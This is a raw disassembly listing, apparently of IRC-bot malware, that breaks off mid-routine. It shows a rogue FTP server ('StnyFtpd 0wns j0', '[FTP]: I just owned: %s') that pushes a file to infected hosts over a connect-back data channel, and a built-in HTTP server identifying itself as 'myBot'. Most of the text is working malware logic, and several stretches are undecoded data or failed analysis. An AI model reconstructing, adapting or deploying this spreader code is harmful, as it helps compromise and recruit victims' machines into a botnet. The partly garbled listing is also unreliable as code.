0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h, 0FFFEh dd 40068h, 0A05FE800h, 0A3590000h, 4D3F3Ch ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- word_40EEC6 dw 8B55h ; DATA XREF: sub_40B9DD+34Do dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h, 0BD8D59F0h dd 0FFFFFF50h, 16AA5F3h, 895EDB33h, 98B0h, 8D106A00h, 5053EC45h dd 0CD47E8h, 0CC48300h, 0EC45C766h, 0B5FF0002h, 0FFFFFF5Ch dd 11F015FFh, 5653004Dh, 8966026Ah, 5D89EE45h, 7015FFF0h dd 8B004D12h, 0FFCE83F8h, 4575FE3Bh, 75E45D39h, 858D5320h dd 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh, 0FFFF50B5h dd 0AA88E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh, 684DE8h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFC3C6h, 0E8535959h, 731094h dd 54858BADh, 6AFFFFFFh, 34C06910h, 89000002h, 44412CB8h dd 0EC458D00h, 15FF5750h, 4D121Ch, 0BBC63Bh, 0F000004h dd 0CF85h, 8415FF00h, 3D004D11h, 2740h, 0F6334774h, 75E47539h dd 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh dd 0FFFF50B5h, 0AA08E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh dd 67CDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC346h, 0E8565959h dd 731014h, 0FFFE6863h, 0E8530000h, 9F25h, 3F3CA359h, 6659004Dh dd 8DEE4589h, 106AEC45h, 15FF5750h, 4D121Ch, 5475C63Bh dd 118415FFh, 0F633004Dh, 75E47539h, 27403D27h, 20740000h dd 40858D56h, 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh dd 0FFFFFF50h, 0FFA98DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh dd 6752h, 0FF54B5FFh, 0CBE8FFFFh, 59FFFFC2h, 99E85659h dd 0B600730Fh, 0FF57056Ah, 4D121815h, 0FC63B00h, 0D484h dd 0FC45C700h, 10h, 429100BEh, 0FC458D00h, 40858D50h, 50FFFFFFh dd 8415FF57h, 83004D12h, 4589FFF8h, 83E67408h, 7500E47Dh dd 8D006A21h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh dd 0FF50B5FFh, 0FE8FFFFh, 83FFFFA9h, 858D14C4h, 0FFFFFD40h dd 66D4E850h, 8D590000h, 0FFFD4085h, 68006AFFh, 200h, 875FF50h dd 120815FFh, 0F883004Dh, 569674FFh, 2035FF56h, 0FF004D0Fh dd 0FFFF50B5h, 0BA68E8FFh, 5059FFFFh, 43B87468h, 40858D00h dd 53FFFFF9h, 0CF1AE850h, 0C4830000h, 40858D1Ch, 6AFFFFF9h dd 69E85000h, 590000C7h, 40858D50h, 50FFFFF9h, 0FF0875FFh dd 4D124015h, 0FFF88300h, 0FF43840Fh, 5FFFFFFh, 4D3F44h dd 0FFFF38E9h, 15FF57FFh, 4D1288h, 0FF54B5FFh, 0CBE8FFFFh dd 59FFFFC1h, 99E8006Ah, 0B700730Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F168 proc near ; DATA XREF: sub_40B9DD+22Ao var_A70 = byte ptr -0A70h var_8E0 = byte ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h var_2A0 = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_128 = byte ptr -128h var_FC = byte ptr -0FCh var_C8 = byte ptr -0C8h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_20], ebx mov [ebp+var_18], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call dword_4271F0 ; WSAStartup push esi push ebx push 2 call dword_42721C ; socket mov esi, dword_427210 lea ecx, [ebp+var_28] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; dword_427210 lea eax, [ebp+var_20] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; dword_427210 lea eax, [ebp+var_18] push eax push 8004667Eh push edi call dword_4271F4 ; ioctlsocket mov ax, word ptr dword_4D0F20 and [ebp+var_38], 0 push eax mov [ebp+var_3C], 2 call dword_4D11F0 ; ntohs mov [ebp+var_3A], ax lea eax, [ebp+var_3C] push 10h push eax push edi call dword_4271F8 ; bind test eax, eax jge short loc_40F22E mov eax, ebx jmp loc_40F773 ; --------------------------------------------------------------------------- loc_40F22E: ; CODE XREF: sub_40F168+BDj push 0Ah push edi call dword_4271FC ; listen mov [ebp+var_22C], ebx mov ebx, dword_427220 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40F24C: ; CODE XREF: sub_40F168+11Dj ; sub_40F168+603j push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call dword_427224 ; select cmp eax, 0FFFFFFFFh jz loc_40F770 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40F24C loc_40F287: ; CODE XREF: sub_40F168+5FDj xor esi, esi push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BC40 push 64h lea eax, [ebp+var_B0] push esi push eax call sub_41BC40 add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_4265E8 ; __WSAFDIsSet test eax, eax jz loc_40F75E cmp edi, [ebp+var_8] jnz short loc_40F33E lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call dword_427200 ; accept cmp eax, 0FFFFFFFFh jz loc_40F75E xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40F308 lea edx, [ebp+var_228] loc_40F2F8: ; CODE XREF: sub_40F168+19Ej cmp [edx], eax jz short loc_40F308 inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40F2F8 loc_40F308: ; CODE XREF: sub_40F168+188j ; sub_40F168+192j cmp ecx, [ebp+var_22C] jnz short loc_40F326 cmp [ebp+var_22C], 40h jnb short loc_40F326 mov [ebp+ecx*4+var_228], eax inc [ebp+var_22C] loc_40F326: ; CODE XREF: sub_40F168+1A6j ; sub_40F168+1AFj cmp eax, [ebp+var_4] jle short loc_40F32E mov [ebp+var_4], eax loc_40F32E: ; CODE XREF: sub_40F168+1C1j push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; dword_427220 jmp loc_40F75E ; --------------------------------------------------------------------------- loc_40F33E: ; CODE XREF: sub_40F168+15Aj push esi lea eax, [ebp+var_2A0] push 64h push eax push edi call dword_427214 ; recv test eax, eax jg short loc_40F3A5 mov edx, [ebp+var_22C] xor ecx, ecx cmp edx, esi jbe short loc_40F399 lea eax, [ebp+var_228] loc_40F365: ; CODE XREF: sub_40F168+207j cmp [eax], edi jz short loc_40F373 inc ecx add eax, 4 cmp ecx, edx jb short loc_40F365 jmp short loc_40F399 ; --------------------------------------------------------------------------- loc_40F373: ; CODE XREF: sub_40F168+1FFj dec edx cmp ecx, edx jnb short loc_40F393 lea eax, [ebp+ecx*4+var_228] loc_40F37F: ; CODE XREF: sub_40F168+229j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_22C] add eax, 4 dec edx cmp ecx, edx jb short loc_40F37F loc_40F393: ; CODE XREF: sub_40F168+20Ej dec [ebp+var_22C] loc_40F399: ; CODE XREF: sub_40F168+1F5j ; sub_40F168+209j push edi call dword_427218 ; closesocket jmp loc_40F75E ; --------------------------------------------------------------------------- loc_40F3A5: ; CODE XREF: sub_40F168+1E9j lea eax, [ebp+var_338] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2A0] push offset aSS_0 ; "%s %s" push eax call sub_41CCE5 lea eax, [ebp+var_B0] push offset aUser_0 ; "USER" push eax call sub_41C710 add esp, 18h test eax, eax jnz short loc_40F3E9 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_40F46B ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F168+272j lea eax, [ebp+var_B0] push offset aPass ; "PASS" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F40A push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp short loc_40F46B ; --------------------------------------------------------------------------- loc_40F40A: ; CODE XREF: sub_40F168+296j lea eax, [ebp+var_B0] push offset aSyst ; "SYST" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F42B push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp short loc_40F46B ; --------------------------------------------------------------------------- loc_40F42B: ; CODE XREF: sub_40F168+2B7j lea eax, [ebp+var_B0] push offset aRest ; "REST" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F44C push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp short loc_40F46B ; --------------------------------------------------------------------------- loc_40F44C: ; CODE XREF: sub_40F168+2D8j lea eax, [ebp+var_B0] push offset off_43BA98 push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F471 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" loc_40F46B: ; CODE XREF: sub_40F168+27Cj ; sub_40F168+2A0j ... push edi jmp loc_40F747 ; --------------------------------------------------------------------------- loc_40F471: ; CODE XREF: sub_40F168+2F9j mov edi, offset aType ; "TYPE" lea eax, [ebp+var_B0] push edi push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F4AD lea eax, [ebp+var_338] push offset aA ; "A" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F4AD push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_40F744 ; --------------------------------------------------------------------------- loc_40F4AD: ; CODE XREF: sub_40F168+31Fj ; sub_40F168+336j lea eax, [ebp+var_B0] push edi push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F4E4 lea eax, [ebp+var_338] push offset aI ; "I" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F4E4 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_40F744 ; --------------------------------------------------------------------------- loc_40F4E4: ; CODE XREF: sub_40F168+356j ; sub_40F168+36Dj lea eax, [ebp+var_B0] push offset aPasv ; "PASV" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F52F push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_128] rep movsd push eax lea eax, [ebp+var_128] push eax movsw call sub_41B890 pop ecx push eax lea eax, [ebp+var_128] loc_40F522: ; CODE XREF: sub_40F168+406j push eax push [ebp+arg_0] call ebx ; dword_427220 xor esi, esi jmp loc_40F749 ; --------------------------------------------------------------------------- loc_40F52F: ; CODE XREF: sub_40F168+391j lea eax, [ebp+var_B0] push offset aList_0 ; "LIST" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F570 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C8] rep movsd movsw push eax lea eax, [ebp+var_C8] push eax movsb call sub_41B890 pop ecx push eax lea eax, [ebp+var_C8] jmp short loc_40F522 ; --------------------------------------------------------------------------- loc_40F570: ; CODE XREF: sub_40F168+3DCj lea eax, [ebp+var_B0] push offset aPort ; "PORT" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40F63E lea eax, [ebp+var_2D4] push eax lea eax, [ebp+var_FC] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_2A0] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_41CCE5 lea eax, [ebp+var_FC] push eax call sub_41BE29 mov edi, eax lea eax, [ebp+var_2D4] push eax call sub_41BE29 mov [ebp+var_C], eax push 32h lea eax, [ebp+var_FC] push esi push eax call sub_41BC40 push [ebp+var_C] lea eax, [ebp+var_FC] push edi push offset aXX ; "%x%x\n" push eax call sub_41BF36 add esp, 44h lea eax, [ebp+var_FC] push 10h push esi push eax call sub_41C45E mov [ebp+var_C], eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_4C] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_41BF36 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40F744 ; --------------------------------------------------------------------------- loc_40F63E: ; CODE XREF: sub_40F168+41Dj lea eax, [ebp+var_B0] push offset aRetr ; "RETR" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40F725 push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push [ebp+arg_0] call ebx ; dword_427220 push [ebp+var_C] lea eax, [ebp+var_4C] push eax call sub_40F77A pop ecx cmp eax, 1 pop ecx jnz loc_40F71B cmp [ebp+var_444], esi jnz short loc_40F6A8 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_4099D2 add esp, 14h loc_40F6A8: ; CODE XREF: sub_40F168+51Bj call loc_40F7F7 cmp eax, 1 jnz loc_40F749 push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push [ebp+arg_0] call ebx ; dword_427220 lea eax, [ebp+var_4C] push eax lea eax, [ebp+var_8E0] push offset aFtpIJustOwnedS ; "[FTP]: I just owned: %s" push eax call sub_41BF36 add esp, 0Ch cmp [ebp+var_444], esi jnz short loc_40F706 push esi lea eax, [ebp+var_8E0] push [ebp+var_448] push eax lea eax, [ebp+var_4C8] push eax push [ebp+var_6E0] call sub_4099D2 add esp, 14h loc_40F706: ; CODE XREF: sub_40F168+579j lea eax, [ebp+var_8E0] push eax call sub_4157A6 inc dword_4D3D00 pop ecx jmp short loc_40F749 ; --------------------------------------------------------------------------- loc_40F71B: ; CODE XREF: sub_40F168+50Fj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40F744 ; --------------------------------------------------------------------------- loc_40F725: ; CODE XREF: sub_40F168+4EBj lea eax, [ebp+var_B0] push offset aQuit ; "QUIT" push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40F749 push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40F744: ; CODE XREF: sub_40F168+340j ; sub_40F168+377j ... push [ebp+arg_0] loc_40F747: ; CODE XREF: sub_40F168+304j call ebx ; dword_427220 loc_40F749: ; CODE XREF: sub_40F168+3C2j ; sub_40F168+548j ... push 64h lea eax, [ebp+var_2A0] push esi push eax call sub_41BC40 mov edi, [ebp+arg_0] add esp, 0Ch loc_40F75E: ; CODE XREF: sub_40F168+151j ; sub_40F168+17Aj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_40F287 jmp loc_40F24C ; --------------------------------------------------------------------------- loc_40F770: ; CODE XREF: sub_40F168+10Fj push 1 pop eax loc_40F773: ; CODE XREF: sub_40F168+C1j pop edi pop esi pop ebx leave retn 4 sub_40F168 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F77A proc near ; CODE XREF: sub_40F168+505p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4271F0 ; WSAStartup push 0 push 1 push 2 call dword_42721C ; socket push [ebp+arg_0] mov dword_4D3F48, eax mov [ebp+var_10], 2 call dword_427230 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_427208 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_4D3F48 call dword_42720C ; connect cmp eax, 0FFFFFFFFh jnz short loc_40F7F2 push dword_4D3F48 call dword_427218 ; closesocket call dword_4271EC ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F7F2: ; CODE XREF: sub_40F77A+60j push 1 pop eax leave retn sub_40F77A endp ; --------------------------------------------------------------------------- loc_40F7F7: ; CODE XREF: sub_40F168:loc_40F6A8p push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 0B40000h ; --------------------------------------------------------------------------- dd 0FC858DD9h, 68FFFFFEh, 429070h, 0C392E850h, 0F08B0000h dd 59F68559h, 46F66074h, 3E75100Ch, 400BF57h, 6A560000h dd 0FC858D01h, 57FFFFFAh, 0C146E850h, 0C4830000h, 0FC858D10h dd 6AFFFFFAh, 0FF505700h, 4D3F4835h, 2015FF00h, 6A004272h dd 6415FF01h, 0F6004270h, 74100C46h, 0E8565FC9h, 0C093h dd 4835FF59h, 0FF004D3Fh, 42721815h, 0EC15FF00h, 6A004271h dd 0C95E5801h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F891 proc near ; DATA XREF: .nsp0:00403D4Eo ; sub_40B9DD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C1D0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BC40 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4D11F0 ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4D1270 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FC7C mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_44412C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4D121C ; bind cmp eax, 0FFFFFFFFh jz loc_40FC7C push 7FFFFFFFh push edi call dword_4D1218 ; listen cmp eax, 0FFFFFFFFh jz loc_40FC7C lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4D128C ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FC7C mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F968: ; CODE XREF: sub_40F891+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4D11D8 ; select cmp eax, 0FFFFFFFFh jz loc_40FC77 xor esi, esi mov [ebp+var_4], esi loc_40F99E: ; CODE XREF: sub_40F891+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4D10DC ; __WSAFDIsSet test eax, eax jz loc_40FC62 cmp esi, [ebp+var_C] jnz short loc_40FA20 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4D1284 ; accept cmp eax, 0FFFFFFFFh jz loc_40FC62 xor ecx, ecx test ebx, ebx jbe short loc_40F9F2 lea edx, [ebp+var_134] loc_40F9E6: ; CODE XREF: sub_40F891+15Fj cmp [edx], eax jz short loc_40F9F2 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F9E6 loc_40F9F2: ; CODE XREF: sub_40F891+14Dj ; sub_40F891+157j cmp ecx, ebx jnz short loc_40FA0F cmp ebx, 40h jnb short loc_40FA0F mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FA0F: ; CODE XREF: sub_40F891+163j ; sub_40F891+168j cmp eax, [ebp+var_8] jbe loc_40FC62 mov [ebp+var_8], eax jmp loc_40FC62 ; --------------------------------------------------------------------------- loc_40FA20: ; CODE XREF: sub_40F891+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BC40 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BC40 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4D1208 ; recv test eax, eax jg short loc_40FAB3 push esi call dword_4D1288 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40FC62 lea eax, [ebp+var_134] loc_40FA72: ; CODE XREF: sub_40F891+1EBj cmp [eax], esi jz short loc_40FA83 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FA72 jmp loc_40FC62 ; --------------------------------------------------------------------------- loc_40FA83: ; CODE XREF: sub_40F891+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FAA7 lea eax, [ebp+ecx*4+var_134] loc_40FA91: ; CODE XREF: sub_40F891+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FA91 loc_40FAA7: ; CODE XREF: sub_40F891+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FC62 ; --------------------------------------------------------------------------- loc_40FAB3: ; CODE XREF: sub_40F891+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BC40 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B890 add esp, 10h test eax, eax jbe loc_40FC62 loc_40FAE1: ; CODE XREF: sub_40F891+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FB86 mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_40FB5A lea eax, [ebp+var_18F0] push eax call sub_41B890 cmp eax, 5 pop ecx jbe short loc_40FB5A mov eax, offset asc_43368C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41BFB0 pop ecx pop ecx push eax call sub_41BFB0 pop ecx pop ecx push eax call sub_41C794 push eax lea eax, [ebp+var_23C] push eax call sub_41C550 add esp, 10h jmp short loc_40FB71 ; --------------------------------------------------------------------------- loc_40FB5A: ; CODE XREF: sub_40F891+27Fj ; sub_40F891+291j lea eax, [ebp+var_18F0] push offset asc_43BB50 ; "\r\n" push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_40FBA5 loc_40FB71: ; CODE XREF: sub_40F891+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BC40 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FB86: ; CODE XREF: sub_40F891+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B890 cmp [ebp+arg_0], eax pop ecx jb loc_40FAE1 jmp loc_40FC62 ; --------------------------------------------------------------------------- loc_40FBA5: ; CODE XREF: sub_40F891+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FBEF lea eax, [ebp+var_134] loc_40FBB1: ; CODE XREF: sub_40F891+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FBC2 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FBB1 jmp short loc_40FBF2 ; --------------------------------------------------------------------------- loc_40FBC2: ; CODE XREF: sub_40F891+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FBE6 lea eax, [ebp+ecx*4+var_134] loc_40FBD0: ; CODE XREF: sub_40F891+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FBD0 loc_40FBE6: ; CODE XREF: sub_40F891+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FBF2 ; --------------------------------------------------------------------------- loc_40FBEF: ; CODE XREF: sub_40F891+318j mov esi, [ebp+var_4] loc_40FBF2: ; CODE XREF: sub_40F891+32Fj ; sub_40F891+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FC5B lea eax, [ebp+var_360] push eax call sub_41B890 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B890 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FC5B and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4D128C ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call loc_40FE6E add esp, 14h jmp short loc_40FC62 ; --------------------------------------------------------------------------- loc_40FC5B: ; CODE XREF: sub_40F891+369j ; sub_40F891+38Fj push esi call dword_4D1288 ; closesocket loc_40FC62: ; CODE XREF: sub_40F891+11Dj ; sub_40F891+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F99E jmp loc_40F968 ; --------------------------------------------------------------------------- loc_40FC77: ; CODE XREF: sub_40F891+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FC7C: ; CODE XREF: sub_40F891+6Aj ; sub_40F891+92j ... call dword_4D1184 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_43BB28 push eax call sub_41BF36 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FCC2 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_4099D2 add esp, 14h loc_40FCC2: ; CODE XREF: sub_40F891+40Cj lea eax, [ebp+var_8F0] push eax call sub_4157A6 pop ecx push edi call dword_4D1288 ; closesocket push [ebp+var_254] call sub_40B32A pop ecx push ebx call near ptr 0B40000h xor al, 5Fh pop esi pop ebx sub_40F891 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCEC proc near ; DATA XREF: .nsp0:004100B4o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C1D0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41BF36 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41BF36 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40FD51 push offset aTextHtml ; "text/html" jmp short loc_40FD56 ; --------------------------------------------------------------------------- loc_40FD51: ; CODE XREF: sub_40FCEC+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40FD56: ; CODE XREF: sub_40FCEC+63j lea eax, [ebp+var_9C] push eax call sub_41BF36 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 0B40000h pop esp lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 0B40000h pop edx lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40FDCF lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41BF36 add esp, 24h jmp short loc_40FDF0 ; --------------------------------------------------------------------------- loc_40FDCF: ; 